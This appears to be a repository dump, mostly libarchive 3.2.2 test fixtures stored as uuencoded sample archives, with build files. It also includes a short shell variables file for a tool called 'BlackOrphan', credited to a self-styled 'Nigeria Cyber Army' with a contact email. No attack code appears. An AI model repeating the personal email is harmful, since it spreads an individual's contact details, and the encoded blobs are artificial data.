test_read_format_7zip_none.7z 2 | M-WJ\KR<<``-!QGV(/`````````!"`````````(/;BV,@("`@("`@("`@("`@ 3 | M("`@("`@("`@("`@(&9I;&4@,2!C;VYT96YT`Q0````(`&I.=3XZ 4 | M-V8]"@```!(````%`!@```````$```"D@0````!F:6QE,554!0`#"*&&375X 5 | C"P`!!.D#```$Z0,``%!+!08``````0`!`$L```!)```````` 6 | ` 7 | end 8 | -------------------------------------------------------------------------------- /libarchive-3.2.2/build/pkgconfig/libarchive.pc.in: -------------------------------------------------------------------------------- 1 | prefix=@prefix@ 2 | exec_prefix=@exec_prefix@ 3 | libdir=@libdir@ 4 | includedir=@includedir@ 5 | 6 | Name: libarchive 7 | Description: library that can create and read several streaming archive formats 8 | Version: @VERSION@ 9 | Cflags: -I${includedir} 10 | Libs: -L${libdir} -larchive 11 | Libs.private: @LIBS@ 12 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_lha_filename_cp932.lzh.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_read_format_lha_cp932.lzh 2 | M30`M;&@P+0@````(````*:2#32`"&4A-!P!&I`,```L``8J_CIHN='AT&P!! 3 | M-'"`))KERP%TJNDQFN7+`72JZ3&:Y'0;`$&:91,VFN7+ 5 | >`:#K$3V:Y@M7KY?XJIN<$F_7V 4 | M\=*1N'H9#ZF]]XWF'T1HWC^3Z\GG:TA0#XVW03@`Z0A8DH3U.BZ)FNK^AU$3 5 | M&OGIH!HRC^P*CL,)\/,MGP``````2IVA+$<(^YX``94!@!@``&X^\DRQQ&?[ 6 | (`@`````$65H` 7 | ` 8 | end 9 | -------------------------------------------------------------------------------- /libarchive-3.2.2/tar/test/test_extract.tar.lz4.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_extract.tar.lz4 2 | M!")-&&1PN:L```!O9FEL93$``0!+Z#`P,#8V-"``,#`Q-S4P"``#`@#_"3(S 3 | M(#$R,#,R-S0P,C,T(#`Q,3,V-0`@,)<`2P("`+)U["H7&@4%L/4*_(*VGB*YU>?RX.9]HL86'.A)H@Y;Z\^$?M^8_ 5 | M!/-;62G.*7*A&A!_ENZ8$7]O-M7_.FTRC%BCGC95:6'9ZH3)QSCR4RX42P!` 6 | /-E>/7"L[:OY"/A924S4$ 7 | ` 8 | end 9 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_compat_zip_2.zip.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_compat_zip_2.zip 2 | M4$L#!`H``````'V59CT````````````````%````9FEL93$M2E5.2RU02P,$ 3 | M"@``````@95F/<>D!,D&````!@````4```!F:6QE,F9I;&4R"E!+`0(>`PH` 4 | M`````'V59CT````````````````%``````````````"D@0````!F:6QE,5!+ 5 | M`0(>`PH``````(&59CW'I`3)!@````8````%``````````````"D@2D```!F 6 | ::6QE,E!+!08``````@`"`&8```!2```````` 7 | ` 8 | end 9 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_rar_encryption_partially.rar.uu: -------------------------------------------------------------------------------- 1 | begin 664 test_read_format_rar_encryption_partially.rar 2 | M4F%R(1H'`,^0'2>C_^E6-T51TBV:OLN/8KJ<5S5/Y4G6N&PG<5GX;P= 4 | MF_YJK^@\`3\09C!T((`G`!P````0`````[[BD,VF3#%#'3,'`+2!``!B87(N 5 | F='AT#!#)/HRW]%5!"GXA#4D)_]J&++4FP^?OH,0]>P!`!P`` 6 | ` 7 | end 8 | -------------------------------------------------------------------------------- /libarchive-3.2.2/build/cmake/CheckFileOffsetBits.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #define KB ((off_t)1024) 4 | #define MB ((off_t)1024 * KB) 5 | #define GB ((off_t)1024 * MB) 6 | #define TB ((off_t)1024 * GB) 7 | int t2[(((64 * GB -1) % 671088649) == 268434537) 8 | && (((TB - (64 * GB -1) + 255) % 1792151290) == 305159546)? 1: -1]; 9 | 10 | int main() 11 | { 12 | ; 13 | return 0; 14 | } 15 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_filter_grzip.tar.grz.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_read_filter_grzip.tar.grz 2 | M1U)::7!)20`"!#HI`!P``*P,```L`0``\````)D```#Y.$+F+B8PQP#^C=PP 3 | MI/#7H?$H,(_!0<=O!,4![T/;;'S,=B0_3(R1=9"=YKA%RKR-\,+PJIO2]!I*2V31X]P[DN$GON#\\G\(P'R$.`@X%;_ZR`'5`:`Y&`K7JS*U;!.)J3]3@J 4 | M?#'*:Z""L7Y*%Z9?L#^PQL3)[(BVML.S!-[#M+-]`'1/`[S9UA9,WT5`&I*2B-\5*XZ>SW"Y0.C)1^;.UK]$ 4 | MXK@UJ)SH93P!`!P`` 7 | ` 8 | end 9 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_zip_length_at_end.zip.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_read_format_zip_length_at_end.zip 2 | M4$L#!!0`"``(`,NJ,C\````````````````)`!P`:&5L;&\N='AT550)``-^ 3 | MPW9.A<-V3G5X"P`!!/4!```$%````,M(S`Q0`"``(`,NJ,C\@,#HV"`````8````)`!@```````$```"D@0`` 5 | M``!H96QL;RYT>'155`4``W[#=DYU>`L``03U`0``!!0```!02P4&``````$` 6 | ,`0!/````6P`````` 7 | ` 8 | end 9 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_zip_nofiletype.zip.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_read_format_zip_nofiletype.zip 2 | M4$L#!`H``````$-$>$,$]RGB!@````8````%````9FEL93%F:6QE,0I02P,$ 3 | M"@``````141X0P````````````````4```!D:7(R+U!+`0(>`PH``````$-$ 4 | M>$,$]RGB!@````8````%``````````$```"D`0````!F:6QE,5!+`0(>`PH` 5 | M`````$5$>$,````````````````%````````````$`#M`2D```!D:7(R+U!+ 6 | 4!08``````@`"`&8```!,```````` 7 | ` 8 | end 9 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_7zip_encryption_header.7z.uu: -------------------------------------------------------------------------------- 1 | begin 664 test_read_format_7zip_encryption_header.7z 2 | M-WJ\KR<<``-1(7)]@``````````F`````````!I:QVF.6KJ?=[:U9:-!,8A0 3 | MB6O0&LG!?DD:R_'07!.!NV;/LY)*FIFWXUI[)=TPG&";5C%*%S+LERGW+.D%XK*'>5.FQ>74JN]"%`5%TTQ[@L^# 5 | MZVV`LJT"R/[PWL=[H6 4 | MI6B>-7,"LEFSPJXL&_5`VI+39=)!5AVU_MRZJ-'/$T<4 5 | M$.`BV?:<->IQ$-K,-DX=!*T>*)Q&M+J="/NB=:8'E1X3/?KZT!XEN'99V!2D 6 | HL??E````%P87`0F`@P`'"P$``2,#`0$%70`0```,@,@*`<_EW0D````` 7 | ` 8 | end 9 | -------------------------------------------------------------------------------- /libarchive-3.2.2/cpio/test/test_extract.cpio.lzo.uu: -------------------------------------------------------------------------------- 1 | begin 664 test_extract.cpio.lzo 2 | MB4Q:3P`-"AH*$#`@8`E``04#```!``"!M%!R>-T`````$71E`$#-S4P,#`QE`!@`7`#"C`P,3(P,S(W-#`R,S2!`C:4`'````(R,V9I;&4Q 5 | M`&-O;G1E;G1S(&]F((8"+@HOD0$R(`:1`31J$#`P+I$!,B^1`3(HD`%L$3L, 6 | M`+P<+HH`,3,I1``(5%)!24Q%4B$A(0`@JP````$````````````````````` 7 | *````$0`````````` 8 | ` 9 | end 10 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_compat_lzip_2.tlz.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_compat_lzip_2.tlz 2 | M3%I)4`%-`#,,/!NGC#0&C6L"2_R2/O9*^":#5/GP,U"QL$1\Q:(3S>V*OTP* 3 | M1&9J-1:S\^>DEIOT;'&#"`B6#7ZO7%">,>LZ=:BU,Z7*^>M<3FV:GKO_?W;` 4 | M,N31CE_$<-$(3$J*AB5TTG2\;X[CSPOI6IIPV8\]9>BP>V?/L._78%+F2N-; 5 | M6V[`1"7)=_,5LD9U%73FQV-?_X5OKW0_.'N"`!P```````"R`````````%1H 6 | M:7,@:7,@=6YR96QA=&5D(&IU;FL@9&%T82!A="!T:&4@96YD(&]F('1H92!F 7 | $:6QE"@`` 8 | ` 9 | end 10 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_compat_lzma_2.tlz.uu: -------------------------------------------------------------------------------- 1 | $FreeBSD: head/lib/libarchive/test/test_compat_lzma_2.tlz.uu 201247 2009-12-30 05:59:21Z kientzle $ 2 | 3 | begin 644 test_compat_lzma_2.tlz 4 | M7@``@`#__________P`S##P;IXPT!HUK`DO\DC[V2OB%Z^'`W2"/3R1F1:P:&Q9A 6 | MGH2JJI9$C?8.=WTE:O<1WA@X>DK-Y#SW;I2!P;NYG^2"-(D9/E(D_0XK_H,\ 7 | 95*/V"T#E9ZO][@'R,6E&^A([.##_\M#YU@`` 8 | ` 9 | end 10 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_compat_lzma_3.tlz.uu: -------------------------------------------------------------------------------- 1 | $FreeBSD: head/lib/libarchive/test/test_compat_lzma_3.tlz.uu 201247 2009-12-30 05:59:21Z kientzle $ 2 | 3 | begin 644 test_compat_lzma_3.tlz 4 | M70`0````'``````````S##P;IXPT!HUK`DO\DC[V2OB%Z^'=ZT59ANYMTD(1 5 | M$Y^=;\4%U_CXKQ*F$OFZKEQUG)1U8="](V<2K"U1\Z6%H(UNQ[Y3.=D'>_G- 6 | MCO71X+M*7WH7$D1&E9Y$XHW,(`[X";GGTO+,'&1?F%<@`.$-OV;8P1?*M$A" 7 | :MA+1XONREMK,1('455L=X1>WC#1YW"('I@`` 8 | ` 9 | end 10 | -------------------------------------------------------------------------------- /libarchive-3.2.2/tar/test/test_extract.tar.Z.uu: -------------------------------------------------------------------------------- 1 | begin 664 test_extract.tar.Z 2 | M'YV09M*P*1,#@,&#"!,J7,BPH<.'$",BA$'1A@T:(`!0C'&C!HR,&SM^U$BQ 3 | M9$D9,T#$D`%CAHP;-&"@Q`@C1HP9-FH```%#HL^?0(,*!5!G#ITP//JW-F?'18\FI0@5;FFOCJV:Q/JYM>NM8,62I6,6K5J!@-V^WLV[M^_?P(,+'TZ\ 7 | 0N/'CR),K7\Z\N?/GT*,K!P`` 8 | ` 9 | end 10 | -------------------------------------------------------------------------------- /libarchive-3.2.2/tar/test/test_extract.tar.lrz.uu: -------------------------------------------------------------------------------- 1 | begin 664 test_extract.tar.lrz 2 | M3%):20`&``P``````````%T````!`0```@$`$`,`````#@`#`````$P``S<` 3 | M-P`````5``%/`!```#H``6,``0``6``!IP`!```%`@%/`/`#`3T```0`"0`! 4 | M=@$`!`#P!0```(5'8Z<&<`"E"````#,:2=:X2EY$(`=+>P?_D@0*H:&)P-5? 5 | MZX%NI60,IT@(N<,S%?7H2TLP5)FN#[-;&&[/2A#BNH4(7#C+*&ZP<>K&B)AG 6 | M:Z(;Y=]3<5Q$)_[[5M\7=]N7A$%\ZF:H2/,Q%BK$JA4L!,K(-RZU2X[/`%69 7 | .9U@/B[!N",NH4]8F,M(` 8 | ` 9 | end 10 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_ustar_filename_koi8r.tar.Z.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_read_format_ustar_filename_koi8r.tar.Z 2 | M'YV0T*0ENU:,&H"#"!,J7,BPH<.'$"-*1`BCXHT:-4``J!CC8@R-'#V"K$BR 3 | MI`T0,6+4H'%CAHR*,T["B#'#(@`0,";JW,FSIT\`=>;0"2-G(XPQ=AM'4NVK-FS:-.J7O7L&/+GDV[MNW;N'/KWLV[M^^$ 7 | ` 8 | end 9 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_cpio_bin_be.cpio.uu: -------------------------------------------------------------------------------- 1 | $FreeBSD: head/lib/libarchive/test/test_read_format_cpio_bin_be.cpio.uu 191592 2009-04-27 19:30:09Z kientzle $ 2 | begin 644 test_read_format_cpio_bin_be.cpio 3 | M<<<`"#P\@:0#Z`````$``$GS"&\`%0````5F:6QE,3$Q,3(R,C(S,S,S-#0T 4 | M-```86)C9&4`<<<```````````````$`````````"P````!44D%)3$52(2$A 5 | M```````````````````````````````````````````````````````````` 6 | 3```````````````````````````` 7 | ` 8 | end 9 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_rar_encryption_header.rar.uu: -------------------------------------------------------------------------------- 1 | begin 664 test_read_format_rar_encryption_header.rar 2 | M4F%R(1H'`,Z91EQMQ=@1S 3 | M,[$:0Y\;'G8_C0D%2L":*;.B*LM0!,!.2!RBU?+`DTN9KXD\<4RGSC+#KCC:\R 5 | M$)P&_/D2I'(4,7$^#2[\,Y"D.2T$@B1#J-Z$]R6_*($W7+!JH\,(XH,'C7FC 6 | H@B,\$1>+CX-=`-%F3C6%I^,NJV2G7':,JF?4KS:6=TAK%$V=]2+N^@`` 7 | ` 8 | end 9 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_7zip_encryption_partially.7z.uu: -------------------------------------------------------------------------------- 1 | begin 664 test_read_format_7zip_encryption_partially.7z 2 | M-WJ\KR<<``-.Y/D@G``````````B`````````)D0(6<`,QOL%````&2Q`&1E 3 | M$MIXH*@X+XD>61@``($S!ZXQF+DAMZ?L<`,6_>V19<3;V2;&..`F/OY`DLGI 4 | MB?L"X_1-'%<>!(3'6&[GTF&K$I`20KWW0T2OU80/'3WLJ@2\\?YH6A7J\T[" 5 | M5JH6Y6_..SN-L'T>$^";VM@^(Y(^]N\E588GW68QK>M[C@$[AM@/<+RH]Q!& 6 | J"GI1?FZ````7!A@!"8"$``<+`0`!(P,!`05=`!````R`N@H!F[7,7``` 7 | ` 8 | end 9 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_ustar_filename_cp866.tar.Z.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_read_format_ustar_filename_cp866.tar.Z 2 | M'YV0CR`A$E1($H"#"!,J7,BPH<.'$"-*1`BCXHT:-4``J!CC8@R-'#V"K$BR 3 | MI`T0,6+4H'%CA@R5,#[&?%E#!@`0,";JW,FSIT\`=>;0"2-G(XPQ=AM'4NVK-FS:-.J7!V2O)C1:,<:'_V*-!J5Y,F4*UO2C(DSA@P;CF_FS$OY8="A12LV';MY 6 | K:^&I)*M6'DT::]>O84NK7LVZM>O7L&/+GDV[MNW;N'/KWLV[M^_?P(,K!``` 7 | ` 8 | end 9 | -------------------------------------------------------------------------------- /libarchive-3.2.2/tar/test/test_extract.tar.lzo.uu: -------------------------------------------------------------------------------- 1 | begin 664 test_extract.tar.lzo 2 | MB4Q:3P`-"AH*$#`@8`E``04#```!``"!M%!R@T``````$'1E?S"#AXZ`!(J7,BPH<.'$"-*G$@1`(R+-FC0`&$11HP;-6)PO/@Q 3 | MY,B+*%'&@`$B1HP:(6O(D"&3I4<9-V;$```"1L6?0(,*'0J@SAPZ8>1T'%.G 4 | M#%&(3)T^=9CRXLF4'*=JWBBGXYTB0HE2!D7].J7M,L7(LJ,&SN6%"D8).&J53>ZA/ER9LV>,63`N.&S9]_+$HTB57HQ 6 | M:EK/7Q%?19D5L^G37-FD.8JZM>O7L&/+GDV[MNW;N'/KWLV[M^_?P(,+'T[< 7 | !(0`` 8 | ` 9 | end 10 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_compat_lz4_3.tar.lz4.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_compat_lz4_3.tar.lz4 2 | M`B%,&/X````_9C$``0!.Z#`P,#8T-"``,#`Q-S4Q"``$`@#_"#,@,3$Q,3`U 3 | M,S8V,3$@,#$Q,C0S`"`PF@!.\00```!UFQE%0`/`@`@ 4 | M`LL``-T```(`'R!"`"`/`@!B/V8Q"G@`8@\"`/]V+V8RB@%/#P`$&Q(S``0? 5 | M-@`$_U4?,@`$_^T?,P`$?1$V``0O-3(`!/]5'S,`!/_L/V0Q+P,,3@\`"!H@ 6 | M,C<`!"\U-0`(_U8/``S_[0``!`\##$T/``0:(C,P``0?,0`(_U4/``S_[0`` 7 | E!`\##$T/``0;`0`4+S4U`!3_5@\`#/_M#P(`____ZU`````````` 8 | ` 9 | end 10 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_zip_filename_cp932.zip.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_read_format_zip_cp932.zip 2 | M4$L#!`H``````/94=#Z"B='W!0````4````1````E5R"OH+F+XCJEY>57"YT 3 | M>'1(96QL;U!+`P0*``````"W5'0^W)UO0@4````%````#P```)5<@KZ"YB^* 4 | MOXZ:+G1X=&MA;FII4$L!`A0+"@``````]E1T/H*)T?<%````!0```!$````` 5 | M`````0`@`````````)5<@KZ"YB^(ZI>7E5PN='AT4$L!`A0+"@``````MU1T 6 | M/MR=;T(%````!0````\``````````0`@````-````)5<@KZ"YB^*OXZ:+G1X 7 | 7=%!+!08``````@`"`'P```!F```````` 8 | ` 9 | end 10 | -------------------------------------------------------------------------------- /libarchive-3.2.2/cat/test/list.h: -------------------------------------------------------------------------------- 1 | DEFINE_TEST(test_0) 2 | DEFINE_TEST(test_empty_gz) 3 | DEFINE_TEST(test_empty_lz4) 4 | DEFINE_TEST(test_empty_xz) 5 | DEFINE_TEST(test_error) 6 | DEFINE_TEST(test_error_mixed) 7 | DEFINE_TEST(test_expand_bz2) 8 | DEFINE_TEST(test_expand_gz) 9 | DEFINE_TEST(test_expand_lz4) 10 | DEFINE_TEST(test_expand_mixed) 11 | DEFINE_TEST(test_expand_plain) 12 | DEFINE_TEST(test_expand_xz) 13 | DEFINE_TEST(test_expand_Z) 14 | DEFINE_TEST(test_help) 15 | DEFINE_TEST(test_version) 16 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_cab_1.cab.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_read_format_cab_1.cab 2 | M35-#1@`````*`0```````"P``````````P$!``,```!K"0``>`````$````` 3 | M````````````D3U&I2``96UP='D`/````````````)$]1J4@`&1IV*OTP* 3 | M1&9J-1:S\^>DEIOT;'&#"`B6#7ZO7%">,>LZ=:BU,Z7*^>M<3FV:GKO_?W;` 4 | M,N31CE_$<-$(3$J*AB5TTG2\;X[CSPOI6IIPV8\]86+J37::!/_LA^/@O"(1 5 | MAA`.````````F`````````!,6DE0`0P``&_]_BC86HZ6L8?*M6SC8*JJ7,GS 6 | M0IZA9CQ/^VS2N26K[BXKGC_1Z&JR]S2)5Q",)*$1RS"):7X:?OBQDJXU`>8K 7 | M\2*:_6!:)ZD5FBGJ?II6>-F4],PHN 4 | M+V1I7!E/61I7!E/61I7!E/61I``````@3,' 4 | MKC&9Q;Z1",.ZTR=H7?D(*P-]#*^T-I.U$V\S<> 6 | MW,KQ]&30$$K2G.A@ZB\TJ2%=E9LVPJES']:2`CL-F<22BZ>*M00K1&/TM@A*&RAHP;`$#`F,BSI\^?0`'4F4,GC!P0(`",J5,F 4 | MJ,.E39U*G4JUJM6K6'G"DY?N7CEZ6<.*'4NVK-FS:-.J7O7L&/+GDV[MNW;N'/KWLV[M^_?P(,+'TZ\ 7 | MN/'CR),K7\Z\N?/GT*-+GTZ]NO7KV+-KW\Z]N_?OX,.+'T^^O/GSZ-.K7\^^ 8 | +O?OW\./+GT^__G,` 9 | ` 10 | end 11 | -------------------------------------------------------------------------------- /misc/globals.sh: -------------------------------------------------------------------------------- 1 | author="73mp74710n" 2 | team="Nigeria Cyber Army" 3 | eaddress="zombieleetnca@gmail.com" 4 | bar=============================== 5 | opt="-n1" 6 | PS2="BlackOrphan>" 7 | prompt="${PS2}" 8 | PS2="BlackOrphan" 9 | createserver="${PS2}:create_server>" 10 | vnum="_" 11 | SPID="$$" 12 | ############################COLOR CODES##################################### 13 | open="\e[" 14 | close="\e[0m" 15 | bold="1;" 16 | light="0;" 17 | red="31m" 18 | green="32m" 19 | yellow="33m" 20 | #blue="34m" 21 | #white="1m" 22 | new="\n" 23 | CRYPT="${PWD}" 24 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_gtar_filename_cp866.tar.Z.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_read_format_gtar_cp866.tar.Z 2 | M'YV0CR`A$E1($H"#"!,J7,BPH<.'$"-*1`BC(HP;-6H`L!@#8XR-%3O6^&BQ 3 | MI$4;`&+$J$'CQ@P9*V&0C`'#Q@T9`$#`F,BSI\^?0`'4F4,GC!P0(`",J5,F 4 | MJ,.E39U*G4JUJM6K6'G"DY?N7CEZ6<.*'4NVK-FS:-.J7JG/$RY\Z[D!L.+7HT*=2LER-KWLS9 6 | MY]:N7SN+'DVZM.G3J%.K7LVZM>O7L&/+GDV[MNW;N'/KWLV[M^_?P(,+'TZ\ 7 | MN/'CR),K7\Z\N?/GT*-+GTZ]NO7KV+-KW\Z]N_?OX,.+'T^^O/GSZ-.K7\^^ 8 | 1O?OW\./+GT^_OOW[^//KKPX` 9 | ` 10 | end 11 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_gtar_filename_eucjp.tar.Z.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_read_format_gtar_eucjp.tar.Z 2 | M'YV0M(+MTN>"#AXZ`!(J7,BPH<.'$"-*G$@1`(R+,&S0H&'Q8HP;-6)TA/$Q 3 | MY$B,&&/``!`C1HV0-63(B+F29`P:)D&LK,BSI\^?0.O,H1-&#@@0`,;4*0,T 4 | MHE*F3:-*G4JUJM6K4Q7]O7L&/+GDV[MNW;N'/KWLV[M^_?P(,+'TZ\ 7 | MN/'CR),K7\Z\N?/GT*-+GTZ]NO7KV+-KW\Z]N_?OX,.+'T^^O/GSZ-.K7\^^ 8 | 1O?OW\./+GT^_OOW[^//K+PT` 9 | ` 10 | end 11 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_compat_zip_6.zip.uu: -------------------------------------------------------------------------------- 1 | begin 755 test_compat_zip_6.zip 2 | M4$L#!`H``````'@3-T`````````````````6````3F5W($9O;&1E'1S;VUE('1E>'0- 5 | M"E!+`0(4"PH``````'@3-T`````````````````6````````````$``````` 6 | M``!.97<@1F]L9&5R+TYE=R!&;VQD97(O4$L!`A0+"@``````?!,W0!5#6+\+ 7 | M````"P```"L``````````0`@````-````$YE=R!&;VQD97(O3F5W($9O;&1E 8 | M'102P4&``````(``@"=````B``````` 9 | ` 10 | end 11 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_filter_lrzip.tar.lrz.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_read_filter_lrzip.tar.lrz.uu 2 | M3%):20`&`"@``````````%T````!`0```@$`*`,`````#@`#`````&4`!E`` 3 | MAP``````*(%=%O"2=0L1MCAA@GB4H1+_)V=!8=DS/0JC4Z+Q&5I0A'\SJ-#. 4 | M$U<4K-:^%:G^C3$B/80>END]NJE=5AP+]64N7$3):G02EKP>+AD`!IH`HQ(` 5 | M```R#$'@#E`G"/SW..;YC%X%73G3%U_;&GA#Y7N&P\[%?V!^'>:#?(>JQW** 6 | M1]!%JV?=U`TD.@:H85S[7D\VH/]%6JQ>/;HI.E&)I2N1_M4BU:942T`-IN<9%AZFZVY]'A)5%EY;Y0S/4MGN]Y 8 | D9.U/9Y/!R!PQ$O_\1>]J_8\^I0",9(YV]K_!A:WK9='*J7,1 9 | ` 10 | end 11 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_tar_empty_pax.tar.Z.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_read_format_tar_empty.tar.Z 2 | M'YV0<,+@^7*&S1LQ8=A\05,F#)DR<@!(G$BQHL6+&#-JW,BQ(HR/,&R(!`"R 3 | M),F2'T^B_&B#!H`8,F+,B$%C1@V9,D[2K`&C!H`S'8,*'4JTZ,4Z<^B$B?A1 4 | MSILW=(QF=`I5*L:5,%2:M,JUJ]>O8,'6D`%BS)LV;O7L&/+GDV[MNW;N'/KWLV[M^_?P(,+'TZ\ 7 | MN/'CR),K7\Z\N?/GT*-+GTZ]NO7KV+-KW\Z]N_?OX,.+'T^^O/GSZ-.K7\^^ 8 | ?O?OW\./+GT^_OOW[^//KW\^_O___``8HX(`$%FC@4``` 9 | ` 10 | end 11 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_rar.rar.uu: -------------------------------------------------------------------------------- 1 | begin 644 - 2 | M4F%R(1H'`,^0'0@9&]C=6UE;G0- 7 | M"J'(=."0,0````````````,`````8W?:/A0P!P#M00``=&5S=&1I61IPO!0````4````$`!P`9FEL9554"0`#6+3R3G>T 3 | M\DYU>`L``03U`0``!!0```!F:6QE"E!+`P0*``````#`PH``````-BDE3_!B>PO!0````4````$`!@```````$```"D@0`` 6 | M``!F:6QE550%``-8M/).=7@+``$$]0$```04````4$L!`AX#"@``````W*25 7 | M/Q`VGXP$````!`````<`&````````````.VA0P```'-Y;6QI;FM55`4``V"T 8 | G\DYU>`L``03U`0``!!0```!02P4&``````(``@"7````B``````` 9 | ` 10 | end 11 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_compat_bzip2_2.tbz.uu: -------------------------------------------------------------------------------- 1 | $FreeBSD: head/lib/libarchive/test/test_compat_bzip2_2.tbz.uu 185683 2008-12-06 07:08:08Z kientzle $ 2 | 3 | begin 644 test_compat_bzip2_2.tbz 4 | M0EIH.3%!629361HI1P<``4#;D-$00`#_@``)9RT>$`0``!@P`/@#&$Q,F`F` 5 | M`,83$R8"8``1133"1/2-J-#$/U3@;XVF9V'`Y3882XA$*KO6\WTL`]QU&J"8 6 | M$-=*Q$\@=`=QJ,TQ;3UH,NPT$-(!"HV&!ZO5D&@P-1D&1@'L<8&209QV9'G` 7 | MW&PRZ0Q(-BT%&DG*DE.!U*#J.P]*#%-P9G`W9+34:#S&M`;@^1R^![C]:Y)U 8 | MDF9/(\AR/@?P@^@I_B[DBG"A(#12C@X!3;VUE(&UO`L``03I`P``!.D#``#P 5 | M\NGWY?102P$"'@,*``````!=I8<^S.&!%`8````&````!@`8```````!```` 6 | M[8$`````CY"(@H62550%``-!HYU-=7@+``$$Z0,```3I`P``4$L!`AX#"@`` 7 | M````7:6'/LSA@10&````!@````8`&````````0```.V!1@```*_@J**EXE54 8 | L!0`#0:.=375X"P`!!.D#```$Z0,``%!+!08``````@`"`)@```",```````` 9 | ` 10 | end 11 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_zip_filename_koi8r.zip.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_read_format_zip_koi8r.zip 2 | M4$L#!`H``````+&CAS[,X8$4!@````8````&`!P`T-+)U\74550)``,>H)U- 3 | M'J"=375X"P`!!.D#```$Z0,``/#RZ??E]%!+`P0*``````"QHX<^S.&!%`8` 4 | M```&````!@`<`/#RZ??E]%54"0`#'J"=31Z@G4UU>`L``03I`P``!.D#``#P 5 | M\NGWY?102P$"'@,*``````"QHX<^S.&!%`8````&````!@`8```````!```` 6 | M[8$`````T-+)U\74550%``,>H)U-=7@+``$$Z0,```3I`P``4$L!`AX#"@`` 7 | M````L:.'/LSA@10&````!@````8`&````````0```.V!1@```/#RZ??E]%54 8 | L!0`#'J"=375X"P`!!.D#```$Z0,``%!+!08``````@`"`)@```",```````` 9 | ` 10 | end 11 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_compat_gzip_2.tgz.uu: -------------------------------------------------------------------------------- 1 | $FreeBSD: head/lib/libarchive/test/test_compat_gzip_2.tgz.uu 185683 2008-12-06 07:08:08Z kientzle $ 2 | 3 | begin 644 test_compat_gzip_2.tgz 4 | M'XL(`&76(DD``^W800["(!"%8=:>@ALXPP`]CXF=Q&A<:-UX>EN)C5M,AL;P 5 | MO@V[0A=_.E39F2.B'*.?5QX2?Z\?XGE&27)F]L0)V>E_'7YY07\>OZ)Y1W6Q\!-J3!?H^Z_J7TG]%_"QK0?\]4[/>HZS^_^T\! 7 | M_;>@@OY[=N2]6E\!JOH/P])_2OC^-X'YOV]+_]97@*K^A4K_C/Y;P/S?MZ5_ 8 | MZRM`7?]<^L?_OR8P_P,`].D%,XR2*0`<``!4:&ES(&ES('5NN;;\I7YC.>1BQN+EC0JP:,/8'I^CO'+,+O1BT_V!J25R+>!(6$RN.N7/`:E<835()Z+\30 7 | M7HIV[7[>>JA7V-Q4B,BA%R4UM#?HQF-[B9DE>M/_1#ICKKVX_%8F!1KJ*HFC 8 | M3WIYZ-+^$,6\V``````7!H""`0EZ``<+`0`!(P,!`05=`!````R`R`H!@8KI 9 | #-P`` 10 | ` 11 | end 12 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_filter_lzop.tar.lzo.uu: -------------------------------------------------------------------------------- 1 | begin 664 test_read_filter_lzop.tar.lzo 2 | MB4Q:3P`-"AH*$#`@8`E``04#```!``"!M%!PQ.T`````&71E`V0Q+P```"`]```+,#`P 4 | M-S@'A`L@%/T',"``1OT'9B`_\P<````@#?T'-W__-C8V(`!'_`<@ 8 | M/_`?(!?]!S<@`$?\!R`_\!\@%OT'-R``1_P7@/0@````RA````$````````` 9 | 3````````````````$0`````````` 10 | ` 11 | end 12 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_mtree_nomagic.mtree.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_read_format_mtree_nomagic.mtree 2 | 